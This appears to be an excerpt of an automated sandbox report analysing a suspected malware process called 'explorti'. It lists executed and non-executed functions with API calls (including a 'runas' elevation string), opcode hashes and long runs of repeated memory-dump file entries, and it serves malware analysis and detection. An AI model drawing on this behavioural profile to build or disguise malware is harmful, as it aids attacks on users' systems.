Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: HlurNa==$HlurOK==$HlusMa==
API String ID: 1721193555-2203186029
Opcode ID: 8525cfde71ed15ac234512912be02d7909a28fac918e7ae6cedcc0a719e58cd3
Instruction ID: 4a3826effd574b561ee9907a4af8958e3cc6793d9c3dd433f67e554317ad503a
Opcode Fuzzy Hash: 8525cfde71ed15ac234512912be02d7909a28fac918e7ae6cedcc0a719e58cd3
Instruction Fuzzy Hash: CED1F670E006089BDF14ABA8CD4B3AD7BB1AB42310F5442D8F515AB3D2DF359E848BD2

Function 00AF7400 Relevance: 4.8, APIs: 3, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

runas, xrefs: 00AF72D3

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitExecuteMtx_destroy_in_situShell
String ID: runas
API String ID: 1191624902-4000483414
Opcode ID: f820e9829aaafea1d369542e11a03dd8ac6707578f19ee1a054643167576c8a6
Instruction ID: 6310379276b9251cba31fd89764d0a5b35afe43c7355220608de4a9f2867b8eb
Opcode Fuzzy Hash: f820e9829aaafea1d369542e11a03dd8ac6707578f19ee1a054643167576c8a6
Instruction Fuzzy Hash: 6FA16C71610248DBDB08EFA8CC85BADBFA5EB45304F508599F901A73D1DF35E944CB91

Function 00B26E01 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE(?,?,00000000,00000000), ref: 00B26E23
GetFileInformationByHandle.KERNELBASE(?,?), ref: 00B26E7D
__dosmaperr.LIBCMT ref: 00B26F12

Part of subcall function 00B27177: __dosmaperr.LIBCMT ref: 00B271AC

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: 84027dd8fbe66dd67bbae01bde1a1928c94c53d9d9ec97ebeb0a9b5c2c86076c
Instruction ID: e09a0eeb8d17281a9de7daa46effc10a3fd9071824ffa91ceec0ce2c619f1111
Opcode Fuzzy Hash: 84027dd8fbe66dd67bbae01bde1a1928c94c53d9d9ec97ebeb0a9b5c2c86076c
Instruction Fuzzy Hash: CF414D75900614ABDF24EFB5ED459AFBBF9EF48300B10456DF45AD3610EB309904CB61

Function 00B26C99 Relevance: 3.1, APIs: 2, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cd184b4e4b9b594534b0897daeabcfa07cfd264bb23e19b26e99a1f0097cc2f
Instruction ID: 0d48d32730ad5b79be000d54173c275662cdd35fb913dfc634bc8f8b0d5cde93
Opcode Fuzzy Hash: 3cd184b4e4b9b594534b0897daeabcfa07cfd264bb23e19b26e99a1f0097cc2f
Instruction Fuzzy Hash: F121FB31A052287ADB117B64BC42B9F37A9DF41378F2043A1F93C3B2D1DB705E0596A1

Function 00AF82B0 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?), ref: 00AF8454

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 961b7dca5661866b78a141d951801e4829c12ee22bb3f758c74c594b377ad28f
Instruction ID: 31c94ac54f2f938676e4142b0d34acc1f0a814af5cadbed4c7d83df407f829ac
Opcode Fuzzy Hash: 961b7dca5661866b78a141d951801e4829c12ee22bb3f758c74c594b377ad28f
Instruction Fuzzy Hash: A3512971D0021C9BDB24EBB8CD497EDBBB5DB45311F5042D9F908A72D1EF389A808B91

Function 00B26F71 Relevance: 1.6, APIs: 1, Instructions: 56
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SystemTimeToTzSpecificLocalTime.KERNELBASE(00000000,?,?), ref: 00B26FB3

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: 0e7a86f61d202a2ac15d344abe99cbce07b1478e644e66a954aa7d0f503a72fa
Instruction ID: 42b657cf09705a8dc785a4f80ffc35a913449bf29ec27895d8e045a0b2e9ff7c
Opcode Fuzzy Hash: 0e7a86f61d202a2ac15d344abe99cbce07b1478e644e66a954aa7d0f503a72fa
Instruction Fuzzy Hash: 8F11EF7290120CABCF11DE95D984EDFB7FCAF08310F5052A6E515E6180EB30EB49CB61

Function 00B2AF0B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00B06B27,?,?,00B0D32C,00B06B27,?,00B078FB,8B18EC84,05470A8C), ref: 00B2AF3E

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a78755ba884ee8a1ad34728b3ecc8e68a9af5d1a522fd01c9af15bd58298eea2
Instruction ID: 0805be82b6700641c80dd3f5675d89ff5ab1ba754214eaba75c64058bc5068aa
Opcode Fuzzy Hash: a78755ba884ee8a1ad34728b3ecc8e68a9af5d1a522fd01c9af15bd58298eea2
Instruction Fuzzy Hash: CBE02B7121623167DB2132257E9175B36CCEF413B2F1500D0AD1CD3180CF28CC0041E7

Function 00B06AE0 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE ref: 00B06B65

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 2b367019bd649e40fcfa1d84eb8e4bb15f74e584638d62dba1dc77d9bbb88997
Instruction ID: 097ebebf48cf0f0cbc464f9d294459b483084a8a86d47b72b44f1667b01f6d53
Opcode Fuzzy Hash: 2b367019bd649e40fcfa1d84eb8e4bb15f74e584638d62dba1dc77d9bbb88997
Instruction Fuzzy Hash: 06F08671E40608ABC6017BB99D0771DBFA5A707761F9043D8E911673E1EA345A0487D2

Function 054E03BF Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2885378413.00000000054E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_54e0000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d307a18eda6aabade824e87c3b43badf81b7adbc41d86cc0bd007df8a9a07a8f
Instruction ID: 7a9255aef5176c88fef135502d107f687f6757fe9db95f20a180654fc09397a9
Opcode Fuzzy Hash: d307a18eda6aabade824e87c3b43badf81b7adbc41d86cc0bd007df8a9a07a8f
Instruction Fuzzy Hash: 173170EB14C255BDB202D1912F1CAFB6B6EE5C3671730847BF81AD5543E2C94A4F6232

Function 054E03D1 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2885378413.00000000054E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_54e0000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdab98f7dca7b3c9f8bd3f7704f244b04374256e0ae81b8ccf03ac1eb734cec0
Instruction ID: 879c39f1c3dc0bc8b1fd62bbc70ea82a7354481ba969f9676c5d5b41b22652be
Opcode Fuzzy Hash: fdab98f7dca7b3c9f8bd3f7704f244b04374256e0ae81b8ccf03ac1eb734cec0
Instruction Fuzzy Hash: 2E316FEB14D155BDB202D1912F1CAFB6B2EE5C3631730846BF856D1843E2C94B4F6272

Function 054E03F9 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2885378413.00000000054E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_54e0000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ded84f60fecce13b51e85b49fc34ad636a5ccf8c5723dccb91b58607e8ef67b9
Instruction ID: 0d2e4cc075e7d4a6ea9c0568b85740a47b8e614e45f402944c2ca8fffcfe5e6d
Opcode Fuzzy Hash: ded84f60fecce13b51e85b49fc34ad636a5ccf8c5723dccb91b58607e8ef67b9
Instruction Fuzzy Hash: 7231B1AB24C154BEB202D5912F5CAFB6B6EE5C3231770847BF856D1403E2C94B4FA272

Function 054E041A Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2885378413.00000000054E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_54e0000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d30d9262cda46d90aac4c50c9e23a20cd84c643c47a7b40494b7b0d7700502b
Instruction ID: a8c73e19477b5c50dc1e3f437ebf59a566a797c58abf3f87f48d6544d000dea6
Opcode Fuzzy Hash: 0d30d9262cda46d90aac4c50c9e23a20cd84c643c47a7b40494b7b0d7700502b
Instruction Fuzzy Hash: 89218FAB14D255BDB202D6912F4CAF76B2EE5C3271730847BF856D1843E2C94A0EA272

Function 054E045E Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2885378413.00000000054E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_54e0000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f54b8c469b708090e29eb0698ccb6ff893678524a4e079508904b3de409a0d78
Instruction ID: 2292ed533ed7fb06a1afd69e8584246365d00b1db743a703c6cf73e6a5cd7445
Opcode Fuzzy Hash: f54b8c469b708090e29eb0698ccb6ff893678524a4e079508904b3de409a0d78
Instruction Fuzzy Hash: 2D21B0AB14D214BDB202D2912B0CAF76F6EE5C3231770807BF416D1842E2C90B4EA632

Function 054E04DE Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2885378413.00000000054E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_54e0000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e61e3e84fcf69666407b7803efee188121b70f33dc4b1481499c0743d831363
Instruction ID: de2e62e440a6973c227d1248c979f179c1ab5d922084c78e02ebc26992057e75
Opcode Fuzzy Hash: 9e61e3e84fcf69666407b7803efee188121b70f33dc4b1481499c0743d831363
Instruction Fuzzy Hash: 3A21E5AB14C2507EE302D6911A0DAF77F7AEAC3231B30807BF44695943E1D90B5F5232

Function 054E046A Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2885378413.00000000054E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_54e0000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a1111d6185ac5830b1ed7b50a1d6f583fb84b55d83ea878e75eecbb44843824
Instruction ID: c6e2fefad5579113e5a977b557ea93f48e403de326413f2dd3b7ef8de507dbc5
Opcode Fuzzy Hash: 0a1111d6185ac5830b1ed7b50a1d6f583fb84b55d83ea878e75eecbb44843824
Instruction Fuzzy Hash: 7C21A1AB14D254BDB202D6912B4CAF76F2AE5C3231730806BF446D1442E1C90B5E6232

Function 054E051B Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2885378413.00000000054E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_54e0000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 054c46c1af8630188f4049572df641516e8e076059fad6dde3320bff41e3fe4e
Instruction ID: 2de883e1582de1beee9ac71956394657c67cf76807e88593848471358a88f057
Opcode Fuzzy Hash: 054c46c1af8630188f4049572df641516e8e076059fad6dde3320bff41e3fe4e
Instruction Fuzzy Hash: 5D115C9714D290AEE312D2A15A4D6F77F76AA8313173480BBE087C5543D1C9065F9772

Function 054E0501 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2885378413.00000000054E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_54e0000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc723ff91f1cbbdd611aaa8bcf9a801ae6a0c44d5867102cf3ffb3ba4b14d9f6
Instruction ID: a01504c289867b82d8b0b6388eb5c823d0a81ec4bc6ef9698b44111499255935
Opcode Fuzzy Hash: dc723ff91f1cbbdd611aaa8bcf9a801ae6a0c44d5867102cf3ffb3ba4b14d9f6
Instruction Fuzzy Hash: E8110A6714D254ADE302D1911B4C6F77F36AAC327277480BBF45695543E1C9074FA731

Function 054E04C2 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2885378413.00000000054E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_54e0000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5abc9bca0ac64a675eb20ef136d06869c7fa0a73c1796de67a1b116f80625f9
Instruction ID: 6e8983a4ff342fbef3599d04a3e18cf922e559f7e298f946b60b8a17ace11628
Opcode Fuzzy Hash: e5abc9bca0ac64a675eb20ef136d06869c7fa0a73c1796de67a1b116f80625f9
Instruction Fuzzy Hash: 081108A614D250BEE303D2A11A4D6F77F66AAC3132B3440BBF45696553E5CA0B4F9332

Function 054E04AC Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2885378413.00000000054E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_54e0000_explorti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9695fd336a9b0fb90d2060d946e222b6c683cb0905e0abbd4798c423dc58a59a
Instruction ID: 48537f7d3b792e925d711065df2c22e11aec6edc205e4ad2915c4db092937b94
Opcode Fuzzy Hash: 9695fd336a9b0fb90d2060d946e222b6c683cb0905e0abbd4798c423dc58a59a
Instruction Fuzzy Hash: 571138A714D240BEE302D6915A4DAF7BF36AAC3231B3480BBF44691443E1C9074F9332

Non-executed Functions

Function 00B33068 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00B331E3

Strings

1#QNAN, xrefs: 00B34381
1#SNAN, xrefs: 00B3437A
1#IND, xrefs: 00B34373
1#INF, xrefs: 00B3439E

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: d0d96826fe7c48e63340ebc901b95389a9d130659c6bc4317f687ad1fd4620a2
Instruction ID: 6466a0c67a96341c95b8c44ffca9e7b7863d331347c4c9dca045b076a6031840
Opcode Fuzzy Hash: d0d96826fe7c48e63340ebc901b95389a9d130659c6bc4317f687ad1fd4620a2
Instruction Fuzzy Hash: 80C21B71E046288FDB25CE28DD807EAB7F5EB48715F2441EAD84DE7240E775AE858F40

Function 00B32BD0 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
